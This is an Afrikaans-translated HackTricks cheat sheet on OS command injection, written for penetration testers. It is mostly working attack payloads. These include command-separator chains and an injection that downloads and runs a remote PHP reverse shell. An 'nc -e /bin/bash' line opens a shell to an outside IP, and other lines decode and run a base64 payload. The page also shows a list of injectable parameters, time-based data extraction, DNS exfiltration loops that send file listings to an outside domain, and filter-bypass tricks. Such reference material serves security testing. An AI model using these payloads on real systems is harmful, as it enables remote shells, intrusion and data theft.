hacktricks/pentesting-web/command-injection.md

Command Injection

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Wat is command Injection?

'n command injection laat die uitvoering van arbitrêre bedryfstelselopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller tipies in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.

Konteks

Afhangende van waar jou invoer ingespuit word mag jy die geciteerde konteks beëindig (met " of ') voordat die opdragte.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Beperkings Bypasses

As jy probeer om arbitraire opdragte binne 'n linux masjien uit te voer, sal jy belangstel om oor hierdie Bypasses te lees:

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Voorbeelde

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soortgelyke RCE kwesbaarhede (van link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Tydgebaseerde data-uitvoer

Data onttrek: karakter vir karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS gebaseerde data eksfiltrasie

Gebaseer op die hulpmiddel van https://github.com/HoLyVieR/dnsbin ook gehos op dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

• dnsbin.zhack.ca
• pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Brute-Force Detectie Lys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Verwysings

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
• https://portswigger.net/web-security/os-command-injection

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